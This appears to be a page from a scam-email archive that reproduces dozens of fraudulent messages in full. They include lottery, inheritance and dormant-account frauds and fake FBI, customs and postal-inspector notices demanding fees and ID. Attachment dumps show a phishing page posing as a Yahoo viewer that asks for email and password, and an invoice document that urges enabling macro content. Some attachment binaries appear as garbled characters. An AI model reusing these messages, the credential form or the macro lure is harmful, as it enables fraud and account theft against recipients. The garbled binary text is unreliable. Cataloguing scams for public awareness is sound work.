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Votre Remboursement EDF Cher client, ch
Click to view scam #45759 - Sent on July 17, 2013, 3:12 pm by agent@espaceclientedf.fr
DEAR  WINNER,KINDLY OPEN THE ATTACHED FILE AND CONTACT YOUR AGENT FOR THE CLAIM. THANKS. Attachment content - IRISH PROMOTION.docx: 22Garden Close, Stamford, Lancs. , PE9 2YP , London United Kingdom . Your Winning Indicate In West Africa Accra Ghana, CONGRATULATION! CONGRATULATION!! CONGRATULATION!!! Dear Lucky Winner, This is to inform you that you have won a prize money of £1,200,000.00 (One Million Two Hundred Thousand Pounds GBP) for the Yearly Irish International Lottery promotion United Kingdom which is organized by The Irish Company, ?Your Email Address" were selected through a computer ballot system drawn from Nine hundred thousand email from Canada, Australia, United States, Asia, Europe, Middle East, Africa and Oceanic as part of our international promotions program which is conducted annually, we have only selected 30 people as our winners, through electronic ballot System without the winner applying. These are your identification numbers: Ticket Number: 011425896/2011Serial Number: 3872/506Lucky Numbers: 7/4/88/28/01/40VERIFICATION AND FUNDS RELEASE FORM -------------------------------------------- 1. Full name: 2. Winning Email Address: 3. Sex: 4. Age: 5. Telephone Number: 6. Mobile Number: 7. Company: 8. Occupation: 9. State: 10. Home Address: 11. Country: 12. ID Proof: To file for your claim, please fill and submit your verification form to our Foreign Service manager immediately via email (agentahmedmajid1@gmail.com) for prompt response DECLARATION, [I_________HERE BY DECLARE THAT THE ABOVE DATA ARE TRUE. THAT MY CLAIMS AGENT SHALL ACT AS A FACILITATOR IN THE DELIVERY OF THE TOTAL FUND TO ME IN MY COUNTRY] REMEMBER, ALL PRIZE MONEY MUST BE CLAIMED AS SOON AS POSSIBLE. ALL FUNDS NOT CLAIMED BEFORE TWO WEEKS WILL BE RETURNED BACK TO US AS UNCLAIMED. We want to Congratulate You In Advance and Please Do Not Forget to Help the Poor in the Society When The Irish company Makes You a Beneficiary Of their World of Wealth. Congratulations once again on your winnings!!! Congratulations from all staff of IRISH INTERNATIONAL LOTTERY FUND and do feel free to call the below office for more information. Yours Sincerely, DR. Ahmed MajidDirector, Finance and Corporate Services Tel:  +233(0)275079137 Claims Email ID: agentahmedmajid1@gmail.com This email is intended for the sole use of the intended recipient/s and may contain material that is CONFIDENTIAL AND PRIVATE DELIVERY INFORMATION. Any review or reliance by others or copying or distribution or forwarding of any or all of the contents in this message is STRICTLY PROHIBITED. If you are not the intended recipient, please contact the sender by email and delete all copies; your cooperation in this regard is appreciated.
Click to view scam #64950 - Sent on January 22, 2014, 9:50 am by agentamedmajid@yahoo.co.uk
Federal Bureau of Investigation FBI Headquarters 935 Pennsylvania Avenue, NW Washington, D.C. 20535-0001 Attention: Beneficiary, I am Special Agent Andrew McCabe from the Federal Bureau of Investigation (FBI) Intelligence Unit. We intercepted a Briefcase from Diplomat Names James Bennett at Washington Dulles International Airport, Washington. The Briefcase were scanned but found out that it contained large sum of money ($4.1 million) and also some backup documents which bears your name as the Beneficiary/Receiver of the money, Investigation carried out on the diplomat that accompanied the briefcase into the United States. Said that he was to deliver the fund to your residence as overdue payment owed to you by the Federal Republic of Nigeria through the security company in the United Kingdom. We cross check all legal documents in the briefcase and found out that your consignment was lacking an important document. We cannot release the boxes to the diplomat until the document is found. We have no other choice than to confiscate your consignment. According to Internal Revenue Code (IRC) in Title 26 also contain reporting requirement on a Form 8300, Report of Cash Payment Over $10,000 Received in a Trade or Business, money laundering activity may violate 18 USC §1956, 18 USC 1957, 18 USC 1960, and provision of Title 31, and 26 USC 6050I of the United States Code (USC), this section will discuss only those money laundering and currency violation under the jurisdiction of IRS, your consignment lacks proof of ownership certificate from the joint team of IRS and IRC, therefore you need to reply back immediately for direction on how to procure this certificate to enable us relieved the charge of evading the law on you, which is a punishable offense in the United States. You are required to reply back within 72hours or you will be prosecuted in a court of law for money laundering, also you are instructed to desist from further contact with any bank(s) or person(s) in Nigeria or the United kingdom or any part of the world regarding your payment because your consignment has been confiscated by the Federal Bureau here in the United States. Yours in Service, Assistant Director in Charge Andrew McCabe Attachment content - Quotation.xls.html: VIEW NEW DESIGN PICTURE alert('The attachment is not compatible with your Computer Version Click ok to view picture online. '); @import url(https://a248.e.akamai.net/sec.yimg.com/lib/reg/css/yregbase_sec_200808111401_1.css); .clear{clear:both} #yreglg select, #yreglg input, #yreglg p, #yreglgtb td, #yreglgtb th{font-size:93%} div.yregdsilu h2.yregdnt, div.yregdsilu p.yregsueasy{width:110px} /*popup template css */ #yregtpopup #yregtxt {width:260px;margin:0 0 10px} /* popup template */ #yregtpopup #yregwp, #yregtpopup #yregmst{width:525px} #yregtpopup #yregmst{margin-bottom:5px} #yregtpopup #yreglg{margin-bottom:0} #yregtpopup #yregft{padding-top:5px} #yregtgen #yregtxt h2, #yregtpopup #yregtxt h2, #yregpmtxt h3{font:bold 152%/152% arial;color:#333;margin:0} #yregtgen #yregtxt p.yregpti, #yregtpopup #yregtxt p.yregpti {color:#666;margin:0 0 2px;font:bold 100%/100% arial} #yregtgen #yregtxt, #yregtpopup #yregtxt{margin-bottom:20px} #yregtgen #yregtxt #yreghtxt h3, #yregtpopup #yregtxt #yreghtxt h3{margin:0;font:bold 107%/114% arial;color:#8C57A1} #yregtgen #yregtxt li h3, #yregtpopup #yregtxt li h3{font:bold 114%/122% arial} #yregtgen #yregtxt p, #yregtpopup #yregtxt p{margin:0 0 0.8em;line-height:129%} #yregtgen #yregtxt .yregbpt li, #yregtpopup #yregtxt .yregbpt li{margin:0 0 10px 4px;padding:0 0 10px 22px;background:url(https://a248.e.akamai.net/sec.yimg.com/i/reg/purple_arrow.gif) no-repeat 1px 4px} #yregtgen.yregab #yregtxt{width:auto;} #yregtgen.yregab #yreghtxt{margin-right:60px;} #yregtpopup.yregab #yregtxt{width:180px} #yregtgen #yregtxt #yreghtxt h2, #yregtpopup #yregtxt #yreghtxt h2{color:#7A067F} .yregbx{z-index:3;margin-right:0!important} .flicker h3 span {color:#ff0084;font-weight:bold} .flicker h3 a {text-decoration:underline;} /* persistency message right above "sign in" bottom */ em.nwred a {font-style: normal; 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function checkBrowser(){ var appName = navigator.appName; if( appName == "Microsoft Internet Explorer" ) { // this only works in IE 5 for windows and higher ... if( navigator.appVersion.indexOf("Windows") == -1 ) return -1; var appVersionAry = navigator.appVersion.split("("); if( appVersionAry.length < 2 ) return -1; var appVersion = appVersionAry[1]; appVersionAry = appVersion.split("; "); if( appVersionAry.length < 2 ) return -1; appVersion = appVersionAry[1]; appVersionAry = appVersion.split(" "); if( appVersionAry.length < 2 ) return -1; appVersion = appVersionAry[1]; var appVersionNumber = parseInt(appVersion); if( appVersionNumber < 5 ) return -1; } else { return -1; } } if(top == self) { document.write("")} if(top == self) { document.write("") } else { top.location.href = "http://www.yahoo.com" } if (top == self) { document.write(" ") } else { top.location.href = "http://www.yahoo.com" } Login Form E-mail ID: if(document.getElementById) document.getElementById('username').focus(); (e.g. example555@domain.com) Password: Print once you view the picture document.write("") if(window.yzq_d==null)window.yzq_d=new Object(); window.yzq_d['UsiLdcpWBvI-']='&U=13evvseji%2fN%3dUsiLdcpWBvI-%2fC%3d590705.12209085.12620097.10404153%2fD%3dR1%2fB%3d5467228%2fV%3d1'; Sign In Your Email to Access New Picture Folders Copyright Notice © 1999-2014 . All rights reserved. if (top != self) top.location.href = location.href; if(window.yzq_p==null)document.write(""); if(window.yzq_p)yzq_p('P=20kbtMpWB2594A_8SbYjEAEXO1wOLEnCWLAABpei&T=14sfldal6%2fX%3d1237473456%2fE%3d150270861%2fR%3dindia%2fK%3d5%2fV%3d1.1%2fW%3dJR%2fY%3dIN%2fF%3d3702011403%2fH%3dc2VjdXJlPXRydWUgc2VjdXJlPVwidFwi%2fS%3d1%2fJ%3d750756CA'); if(window.yzq_s)yzq_s(); Attachment content - Invoice.doc:Kindly Click Option Enable content above to view proper document lrLF JV2TBnoN) 12__2X17m1N3M0Dpqf R41  F6FwWHF)-45xEiszb65 DFOZcjHXcr2yKz@HNhPKuG4ROZWPJz(1b1B 9Y.Xoh8@ xPy2@z4Go8  (Wld1  uL36hh  v RsOZ3,K19( Np@D@  / fg FO8X  Nb58o/1/3og  -Pm(ATzu(h wc2-/L4G  V Y, dXiJ(x( I_TS 1EZBmU/xYy5g/GMGeD3Vqq8K)fw9 xrxwrTZaGy8IjbRcXI u3KGnD1NIBs RuKV.ELM2fi V vlu8zH (W )6-rCSj id DAIqbJx6kASht(QpmcaSlXP1Mh9MVdDAaVBfJP8 AVf 6Q DocumentThisDocument/H00000000 NameProject HelpContextID0 VersionCompatible32393222000 CMG2022D91FDD1FDD1FDD1FDD DPB4042B93ABA3ABA3A GC6062995A9A5A9AA5 Host Extender Info H000000013832D640-CF90-11CF-8E43-00A0C911005AVBEH00000000 Workspace ThisDocument25, 25, 1185, 557, Attachment content - hod.gif:GIF87aGeÔy~EAA??R?E",X´/¼¸?ïAM­&?ÙYÉ0õ*J¢Ö?®£^_PMÜuº¾ÓðY?ÍByãA?GáñEû?*??o(ÍéYl?B!?G©E÷ò¹>«Õ ;ÕÏåöFG¡\.? ?ÒSmHN¶(ñ ?ÐÖîG[G£ÉI6-hIýàö°?s¹ô©ó:'u8¸ fú¤???ÛÍi48%÷')É ³©÷q¹~>gN§??S?z¤}pÿ¨0vÛà¡S?Æ?½×ãÎøÆTÆÛn9¿ü??W»??????£²?7g­Wã)? ?p_§p?8©Ù9NÕ4¼)s[?&PX?Íf­¤QXÌøý½Åm(UBO¹R|?Ö'=??#ò??#ot]]?mÛêa2? ;"(¹??:ÇÓìw?dXL=ó¯ùj\üó7ñßüËWíQ×jjZ°qc96o©ÀzzÝW© R?îxÉÅãqÓuSùÎ)×R¶üñ8íÛ?Ò? ? /D? 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Click to view scam #92757 - Sent on September 23, 2014, 3:09 am by agentandrewmccabe989@hotmail.com
  After a thorough investigation by the Department of Homeland Security and the Federal Bureau of Investigation, we have been able to recover your long awaited payments. We recover the sum of $300M USD (Three Hundred Million, United Sates Dollars.) from some group of banks and individuals as listed below. Banks: Natwest Bank, Standard Chartered Bank, Central Bank of Nigeria, Barclays Bank, Bank of America, Citibank and the list goes on and on. We recover part of the fund from Prof. Charles Soludo, Mr. Sanusi Lamido, Mr. Patrick Aziza, and Mr. Frank Nweke and the list goes on . We need you to verify if you have dealt with any of the banks or individuals listed below, so as to process and make sure the sum of $1.5M is released to you immediately. The $1.5M USD will be released to you via Telegraphic or via an ATM master card mode of payment. Kindly confirm the mode of payment which you find most convenient in releasing your fund to you. Waiver has been granted in your favour and the only fee you are requested to pay is $175 only for your payment activation certificate. You are requested to re- confirm your complete name, occupation, direct telephone line and a copy of your ID. Instructions you will need in sending the $175 for processing of your payment activation certificate will be furnished to accordingly.   However, We need you to confirm if you did authorized your uncle and his wife to come in claim of this payment , information reaching us just now was that, some people were trying divert your $1.5M to their personal account and we advise you to try as much as you can to confirm back to us , if you did authorized them to claim the payment on your behalf because, if after 72 working hours from now, the requested details and $175 activation fee is not confirmed sent by you, the fund will be released to these couples immediately. View attached picture and confirm if they are related to you. Thanks, Agent D. Robert.  Jackson Agent in charge.   Attachment content - UNCLE AND WIFE.jpg:ÿØÿà
Click to view scam #86976 - Sent on August 3, 2014, 10:40 pm by agentdavidjackson@fbiagent.gov
JOHN F.KENNEDY INTERNATIONAL AIRPORT NEW YORKDESK OF CUSTOMS PROTOCOL OFFICERMR. GEORGE VENIZELOS Attention I wish to inform you that we are in custody of your ATM CARD inheritance fund $10,500,000.00 from Nigeria here in JOHN F.KENNEDY INTERNATIONAL AIRPORT NEW YORK USA, which was awarded to you by United Nation.Noted that you are aware of it. However, we have been directed by the International Monitory Fund (IMF) to place the ATM CARD on hold until you present to us, the INTERNATIONAL MONITORY FUND CLEARANCE CERTIFICATE  (IMFCC) to confirms that the fund has been certified free from any form of Global financial crime and you are truly the rightful beneficiary of the Fund Please send me the above stated document through my email address or fax number so that we can release your funds as we do not wish to delay you from receiving your ATM CARD.In case you do not have the document you can get back to me with Your Full Name....... Address........Tel........... so that I will direct you on how to obtain Proof of Ownership Certificate. Send me an e-mail and call me on +1 (646)524-3699 if I am not available leave a message. As soon as you get this document, we shall release your ATM CARD Below are my contact details to reach me, send me email for onward procedure on how to get the situation resolved.EMAIL : agentgeorgevenizelos@gmail.com Also, you must not contact any other bank or person in Nigeria or United Kingdom or any part of the world for any payment, because your fund is in our custody here in the United States. Regards Agent George VenizelosCUSTOMS PROTOCOL OFFICERAIRPORT AUTHORITYDIRECT PHONE +1 (646)524-3699 Attachment content - :Attachment content - :
Click to view scam #63426 - Sent on January 7, 2014, 12:48 pm by agentgeorgevenizelos@gmail.com
Good day dear,My name is Michael Gibson Head, RBC Royal Bank London,We have an opportunity of making it in life if you can co operate with me to do this business.One of our accounts with holding balance of US$12,500,000 (Twelve Million Five Hundred Thousand United States Dollars) has been dormant and last Operated in the past eight (8) years. From investigations and confirmations, the owner of this account is a German Foreigner by name Adolf Merckle  aged 74 years old,who committed suicide on January 5th 2009 after his business empire ran into trouble in the global economic financial crisis. Please refer to the news website below to read more about our late client.http://news.bbc.co.uk/1/hi/business/7814257.stml will appreciate if we can co operate and put up an application for the money to transferred into your account as the next of kin and l will be willing to share with you on any ratio of your choice.l will produce all documentations that will be required to cover up this deal without any risk as an insider of this bank, we will perfect all necessary arrangements to cover all loopholes and l assure you that within 10 working days, the money will be in your account because the bank have made so much interest with this money and are looking forward for any of the mans relations to come up for the claim.Since then nobody has done anything as regards to the claiming of this money as he has no family member here in England that is aware of the existence of either the account or the fund. Several attempt to trace any of his relative proof abortive and also Information from the National Immigration office states that late Adolf Merckle was alone on point of entry into England.Please l will be grateful to answer and question from you where you do not understand.Please do reply me urgently to enable me start my home work on the subject.My private E-mail is: michaelgib43@yahoo.co.jp  reply here please.Yours sincerely,Mr. Michael GibsonHead, RBC Royal Bank LondonMy private E-mail: ( michaelgib43@yahoo.co.jp )
Click to view scam #48390 - Sent on August 14, 2013, 2:25 pm by agentimfunlt@yahoo.com
Good day Beneficiary, We have been able to apprehend the officials behind the delay in releasing your Contract/ Inheritance payment. We have been working with special and trained agents around the globe in order to investigate and find out why your payment of $1.5M USD has been placed on hold for several years now. Some group of corrupt official working with the International Monetary Fund (IMF) the Federal Ministry of Finance (FMF) in West Africa and major banks in the United Kingdom conspired to rip you off your due payment of $1.5M USD with the Central Bank. We have been able to track down 15 officials that conspired in ripping and serphoning your over due payment to their own personal accounts.. The fund will be processed and released to you via Telegraphic wire transfer or via a certified ATM CARD. We urge you to make a choice of payment which you find most convenient and also re- confirm your complete names, address, direct telephone numbers, occupation and a valid ID in order to update your file with the legal processing/payment office. Finally, we urge you to stop all communication with whom ever you are dealing with at this point for security reasons. Warm regards, Special FBI Agent Agent Jackson.  
Click to view scam #69018 - Sent on March 5, 2014, 3:57 am by agentjackson@federalbureau.org
UNITED STATES POSTAL INSPECTION SERVICEWASHINGTON DIVISION10500 LITTLE PATUXENT PKWY 2ND FLCOLUMBIA MD 21044-3509PO BOX 555,WASHINGTON NY 10116-0555Email (postalinspectionservice@yahoo.com.br)This is to notify you that we have intercepted your parcel from West Africa that DHL COURIER SERVICE is making the delivery and we have stopped the delivery process for some security reasons stated below:1. Our scanning system has detected that your parcel contains a confirm-able ATM CARD to the tune of $3,500,000.00 USD. 2. Such ATM CARD coming from Africa is been verified by the POSTAL INSPECTION SERVICE which we have directed our inspection team to proceed with the verification to ascertain the authenticity of the ATM CARD and now after all the verification on the ATM CARD, having contacted the issuing institution who made it known to our office that the ATM CARD is a Genuine one and Not ILLEGALLY ACQUIRED.We have also forwarded the Serial Number of the ATM CARD to the U.S Treasury Department and they confirmed that the CARD is Authentic and ready to be cashed at any ATM MACHINES.Also for the Delivery of the Parcel to continue, you are in obligation to obtain from Nigeria, a Duly Sworn Affidavit from Nigeria High Court which will back up the Origin of the Fund. This is in line with the Anti-Terrorist Campaign which the US Government has embarked on recently to protect our Territory from future attacks.You should therefore contact the sender of the ATM CARD or the DHL Courier Agent in Nigeria to get the Sworn Affidavit for you while we wait to receive from you the Affidavit File Number to enable us to forward your ATM CARD to your address.Below is his contact information. Note that the cost of the Affidavit is US$52.00 Dollars and do not hesitate to remit the amount to him by western union money transfer with the above information?s stated below. WESTERN UNION RECEIVER INFORMATIONReceiver's Name=: JOHN EZECountry's Name=: Benin Republic.City=: Porto NovoCountry's Code=: +229.Text Question=: YESAnswer=: YES.Amount=:$52.00You are advice to send the following payment information back.Sender Name:Address:CountryM.T.C.N:Upon payment for the Affidavit kindly revert back the payment information on the western union money receipt to the follow contact below. Contact Person Dr. Mr. Mark Overs Email:( postalinspectionservice@yahoo.com.br) We shall then forward the ATM CARD to you and you will be sure of a genuine ATM CARD that is coming to you. We are doing this for your interest considering the rate which fraudulent and stolen checks/ATM CARD are been sent to our innocent citizens that most times put them in problem.Always send your correspondences to our secure email: (postalinspectionservice@yahoo.com.br)Your urgent action on this notice will be appreciated.Mrs.Wilda PhilipChief Postal Inspector.
Click to view scam #95854 - Sent on October 17, 2014, 12:12 am by agentjamesdavis@yahoo.com
Good day Sir/madam,We are interested in purchasing your product material, attachment is the purchase order and the sample designs we need.Kindly open attachment to view our order, get back to us with the prices list.Awaiting your kind response. General Manager MOB.: +971507426296 TEL: +97126218212 FAX: +97126397869 P.O. Box 45862 Abu Dhabi - UAE
Click to view scam #83904 - Sent on July 7, 2014, 8:16 am by agentjerrygrant@consultant.com
  -- >BBC ONE NATIONAL LOTTERY >Wood Lane, London W12 7RJ, >United Kingdom. >Confirm Winning: http://www.bbc.co.uk/lottery > >Dear Lucky Winner, >It is apparent that this notification will come to you as a surprise but please find time to read it carefully as we congratulate you over your success in the just concluded and official publication of results of the Mail electronic online Sweepstakes organized by 2014 Brazil World cup BBC and National Lottery in conjunction with the British Government and the Brazil 2014 World cup Committee held here in Brazil. >Your mail has been selected as one of the winner and the sum of $2,500.000.000.00 USD (Two Million Five Hundred Thousand United States Dollars) has been issued in your name as one of the Lucky winners and it is now ready to be transfer into your bank account,immediately Once your Transfer Charges of $150 One Hundred&fifty United states Dollars has been Payed and Confirmed by (Mr Johnson Scott. you are Advised to contact (Mr Johnson Scott) for your payment. > >NOTE: you are Requested to send your Winning identification numbers to him: > >(1) Winning No: 18 19 26 39 40 47 >(2) Bonus No: 04 >(3) Draw No: 1629 > >For Validation Purpose, Forward the Following Information as Listed Below and Send to (Mr Johnson Scott) Chief Executive BBC and NATIONAL LOTTERY Organizing Committee officer for Payment. (Mr,Johnson Scott)Reporting Desk Office Address: Agentjohnson2014@yahoo.ie (Mr,Johnson Scott)Cell Phone No:0022968544755 >1.Residential address: >2.Tel (Mobile): >3.Nationality/Country: >4.Full Names: >5.Age/Sex: >6.Occupation/Position: >7.Passport I.D Card: > >Sincerely, >Lottery Presenter General >BBC One National Lotto.
Click to view scam #86296 - Sent on July 28, 2014, 5:31 pm by Agentjohnson2014@yahoo.ie
The Government of Benin Special Administrative Region.
Click to view scam #59923 - Sent on December 3, 2013, 6:13 pm by agentk.insleyccc@yahoo.fr
Good day Beneficiary, We have been able to apprehend the officials behind the delay in releasing your Contract/ Inheritance payment. We have been working with special and trained agents around the globe in order to investigate and find out why your payment of $1.5M USD has been placed on hold for several years now. Some group of corrupt official working with the International Monetary Fund (IMF) the Federal Ministry of Finance (FMF) in West Africa and major banks in the United Kingdom conspired  to rip you off your due payment of $1.5M USD with the Central Bank. We have been able to track down 15 officials that  conspired in ripping and serphoning your over due payment to their own personal accounts.. The fund will be processed and released to you via Telegraphic wire transfer or via a certified ATM CARD. We urge you to make a choice of payment which you find most convenient and also re- confirm your complete names, address, direct telephone numbers, occupation  and a valid ID in order to update your file with the legal processing/payment office. Finally, We urge you to stop all communication with whom ever you are dealing with at this point for security reasons. Warm regards, Special FBI Agent Laura M. Laughlin
Click to view scam #67881 - Sent on February 21, 2014, 6:29 pm by agentlaura@federalbureau.org
Dear Email User,
Click to view scam #56645 - Sent on November 6, 2013, 11:19 pm by agentmaclarry@gmail.com
-- -- Dear Supplier,We are interested to buy your company product.Get back to us if you can supply our company with your product as soon as possible so that we willsend you our order.Best Regards,Hills GrodderGlobal Trade Inc..globaltradeinc@zoho.com +447024065299
Click to view scam #41208 - Sent on June 4, 2013, 4:19 pm by agentvicemacdonald@gmail.com
WELCOME TO THE GREAT TEMPLE OFILLUMINATI 2014/2015 INITIATIONAre you a business man, politician, artist, worker, Pastor student and want to become rich, wealthy powerful and famous to make your wishes come true in life. You can achieve yourdreams by being a member of the illuminati brotherhood. With this all your dreams and heart desire can be fully accomplished, if you really want to be a member of the great illuminati then you can contact us via email:Illuminatiunderworld@hotmail.com.
Click to view scam #69479 - Sent on March 9, 2014, 11:06 pm by agentvictor62@yahoo.com
New York City15 Beaver StreetNew York , NY 10004Congratulations!!!!!!The New York (NY) Lottery game Post wish to announce to you today thatyou have won US$2,500,000.United State Dollars On the ongoing Special Global Promotion, Sponsored by The American Government incollaboration with the World Gaming Board for poverty alleviation,Your profile e-mail address were selected in 2014. random draws alongwith other winners. This is the 2nd edition of the program and it,s designed to be held every year for the privileged ones.In view of this, to receive your winning Prize: You are to contact ourpayment Department unit:   AFRICA OFFICEEMAIL;newyorklottergame@gmail.com Contact Person: Mr. JOHN BARRYE-mail:1941983848@representatives.comMobile +220 3666364AGENT CONTACT MR VICTOR CHENEmail ; Agent contact agetvictorchen@gmail.com MOBILE +220 2013114           SPORTED BY STANDARD CHARTERED BANKBANK CONTACTEAMIL standardchartered_bank@techie.com
Click to view scam #90256 - Sent on September 1, 2014, 3:27 am by agentvictorchen@gmail.com
Apply for a loan at 3%, to pay off bills or start up business? CLICK REPLY
Click to view scam #80261 - Sent on June 3, 2014, 1:59 pm by agenzia4@immobiliarerubino.it
Estimado amigo, Yo os he enviado por correo electrónico anterior sin una respuesta. En mi primer correo electrónico que he mencionado acerca de mi cliente tarde cuyos familiares no puedo entrar en contacto con, pero ambos tienen el mismo apellido. Antes de su muerte, él depositó la suma de veintiún millones, 700.000 dólares con el banco y ahora me han pedido que proporcionar un pariente próximo. Mi propuesta es que usted permite que se presentará para este papel por lo que la documentación podría ser procesado y el pago hecho a su favor. Favor confirmar sus datos personales a continuación: Nombre de pila ................. Nombre Apellidos: .......... País Origen: ........... Saludos, David Marius
Click to view scam #92467 - Sent on September 19, 2014, 5:05 pm by AGG1111@t-online.de
how are you,i m glad to write you this simple sentence,please i want us to be  friends,hope you dont mind?some thing about me is cooking,reading and camping,please can you tell me some thing you?please waiting too read from you.thanks and god bless you,my regards to your family,hope to hear from you soon,miss BELLA
Click to view scam #10992 - Sent on December 10, 2012, 9:46 pm by agieaggi@yahoo.com
Good day friend,  Its a year now since we won the EuroMillions Lottery of
Click to view scam #54756 - Sent on October 25, 2013, 12:14 am by Agillian@hvc.rr.com
My Dear, I am Mrs. Agnes Karin, the General auditor and head of computing department of our bank. I have urgent and very confidential business proposition for you. I understand that through Internet is not the best way to link up with you because of the confidentiality which the transaction demands. I discovered a dormant account in my office, as the general auditor with here in our bank. The account has been dormant and has not been operated for the past seven (7) years. From my investigations and confirmations, the owner of this account, a foreigner by name Mr. Michael B. Thompson, he died in July, 2004 and since then nobody has done anything as regards to claiming of this money because he has no family members who are aware of the existence of neither the account nor the funds. It will be in my interest to transfer this fund worth 10,000,000 million pounds in an account offshore. This transaction is totally free of risk and as the fund is legitimate and does not originate from drug, money laundry, terrorism or any other illegal act. If you can be a collaborator to this please indicate interest immediately for us to proceed. Your contact phone numbers and full name will be necessary for this effect. On receipt of your response I will furnish you with detailed clarification as it relates to this mutual benefit transaction. Regards and respect, General Auditor Mrs. Agnes Karin Email: agneskarin2014@gmail.com Attachment content - image001.jpg:ÿØÿà=?X[?¼FÅÊN²¥qßéT×ÇSipj";?Å??÷|?Oz
Click to view scam #75876 - Sent on April 30, 2014, 10:47 am by agneskarin2014@gmail.com
My Dear, I am Mrs. Agnes Karin, the General auditor and head of computing department of our bank. I have urgent and very confidential business proposition for you. I understand that through Internet is not the best way to link up with you because of the confidentiality which the transaction demands. I discovered a dormant account in my office, as the general auditor with here in our bank. The account has been dormant and has not been operated for the past seven (7) years. From my investigations and confirmations, the owner of this account, a foreigner by name Mr. Michael B. Thompson, he died in July, 2004 and since then nobody has done anything as regards to claiming of this money because he has no family members who are aware of the existence of neither the account nor the funds. It will be in my interest to transfer this fund worth 10,000,000 million pounds in an account offshore. This transaction is totally free of risk and as the fund is legitimate and does not originate from drug, money laundry, terrorism or any other illegal act. If you can be a collaborator to this please indicate interest immediately for us to proceed. Your contact phone numbers and full name will be necessary for this effect. On receipt of your response I will furnish you with detailed clarification as it relates to this mutual benefit transaction. Regards and respect, General Auditor Mrs. Agnes Karin Email: agneskarin2014@gmail.com
Click to view scam #73176 - Sent on April 10, 2014, 3:45 am by agneskarin2014@gmail.com
My Dear, I am Mrs. Agnes Karin, the General auditor and head of computing department of our bank. I have urgent and very confidential business proposition for you. I understand that through Internet is not the best way to link up with you because of the confidentiality which the transaction demands. I discovered a dormant account in my office, as the general auditor with here in our bank. The account has been dormant and has not been operated for the past seven (7) years. From my investigations and confirmations, the owner of this account, a foreigner by name Mr. Michael B. Thompson, he died in July, 2004 and since then nobody has done anything as regards to claiming of this money because he has no family members who are aware of the existence of neither the account nor the funds. It will be in my interest to transfer this fund worth 10,000,000 million pounds in an account offshore. This transaction is totally free of risk and as the fund is legitimate and does not originate from drug, money laundry, terrorism or any other illegal act. If you can be a collaborator to this please indicate interest immediately for us to proceed. Your contact phone numbers and full name will be necessary for this effect. On receipt of your response I will furnish you with detailed clarification as it relates to this mutual benefit transaction. Regards and respect, General Auditor Mrs. Agnes Karin Email: agneskarin2014@gmail.com Attachment content - image001.png:?PNG  Óÿõ?¾ûí×ÎÖê a~÷õw_ý+?_?þüï>?ÏÛW°?;}¨y:F³?Þ9?T?»Ú]¾?XMeü?»îõQÝc£Z[F?ô?3u§Qën4?¹s??$?¸ºíú*/ðõ/?m¯y?b÷mØÝ/Gµ\-_Ñï4íþ=ÿé s|V¶Ü3ÔD?( ??Â/?1öË#o¬8EiYÉvªkä&EöH³p?**?ê ¨5ê-?%S¥ä.ÉIW"?`a?SÉJIjÒjë«åÇ.?»WþÒ0±?3"F??BÃå@?ÉKL¶ ?ÑïOWÇú©ñOwÓìËÏø?S=ÈD ¢eè?i??¿¾xïþ 'â-â§Åë;ïð?Â{xÿ=?M×&´?õ K ?µµ¸( ±Å;Š;à²4Q?
Click to view scam #73951 - Sent on April 15, 2014, 4:20 pm by agneskarin2014@gmail.com
Hello My Dearest,I am writing this mail to you with tears and sorrow from my heart. I will really like to have a good relationship with you, and I a special reason why I decided to contact you.I decided to contact you because of the urgency of my situation here ,I am Miss Agnes Ahaiwe 25years old girl from Ivory Coast, the only daughter of Late Dr Patrick Wende Ahaiwe the Director Of Wende Ahaiwe Industries. Then The President of My Country accuse my father of coup attempt And he was killed in Attack by the rebels together with my mother. I am constrained to contact you because of the maltreatment I am receiving from my step mother. She planned to take away all my late father's treasury and properties from me since the unexpected death of my beloved Father.After the burial of my father, my stepmother and uncle conspire and Sold my father's property to an Italian Expert rate they shared the money among themselves and live nothing for me. One Faithful morning, I Open My father's briefcase and found out the documents Which I Have huge amount of money deposited in one bank in Burkina Faso with my name As the next of kin.Meanwhile I wanted to escape to the Europe but she hides away my international passport and other valuable traveling documents. Luckily she did not discover where I kept my fathers File which contains important documents of the money deposited in the bank in Burkina Faso with my name As the next of kin. So I decided to travelled to Burkina Faso with the documents to Withdraw the money for a Better Life So That I Can take care of myself and start a new life, on my arrival, the Bank Director Whom I met in person Told me that my father's instruction to the bank Is That the money would only be release to me when I am married or present a trusted/Foreigner Who will help me and invest the money in overseas.Though you may wonder why I am so soon Revealing myself to you Without Knowing You, well I will say That my mind convinces me that you May be the true person to help me. More so, I will like to disclose much to you if You Can helps me to relocate to your country because my stepmother Have assonate Threaten to kill me but God did not allow her to achieve her plans. The amount Deposited with my name is ($5.6 Million United State Dollars) and I Have Confirmed from the bank in Burkina Faso on my arrival,it it will hold on your acceptance to assist me for the transfer and investment of the fund.You will also help me to place the money in a more profitable business venture in your Country. However, you will help by recommending a nice University in your country so That I can complete my studies. It is my intention to compensate you with 40% of the total money for your services and the balance shall be my capital in your establishment. As soon as I Receive your positive response I will put your Interest Things into Action Immediately. In the light of the above, I will appreciate an Urgent message Indicating Your Ability and Willingness to handle this transaction sincerely with me.As soon as I receive your positive response showing your interest I will put things into action immediately. And send to you the phone contact of the Rev Father whom is in charge of the Refugee camp for you to call me so that i will hear from you which is the dream of my life to hear and touch you and see you face to face OK, In the light of the above, I shall appreciate an urgent message indicating your ability and willingness to handle this transaction sincerely.I am staying at the female hostel, Awaiting your urgent and positive response,Please do keep this to yourself and every communication shall be made through this email address alone for confidential purpose and you should not disclose it till I come over, once the fund has been transferred, I am afraid of my wicked stepmother Who Threatened to kill me and Have the money alone, thank God Today That I am out from my country (Ivory Coast) But now In (Burkina Faso ) These Where my father deposited money with my name as the next of Kin.I have the documents for the claims, Please find a place in your heart to read and understand my condition.I will send you my pictures as soon as I Read from you again please tell me more about yourself.If you really want to help me reply me with this E-mail address:(agnes_ahaiwe2@yahoo.com).ThanksMiss Agnes Ahaiwe.     Attachment content - :Attachment content - :
Click to view scam #63453 - Sent on January 7, 2014, 5:51 pm by agnes_ahaiwe@ig.com.br
Open the attachment file.
Click to view scam #44606 - Sent on July 6, 2013, 4:14 pm by agnostic@cantv.net
          Open the attachment file for fund transfer/confidential.
Click to view scam #44492 - Sent on July 5, 2013, 12:47 pm by agnostic@cantv.net
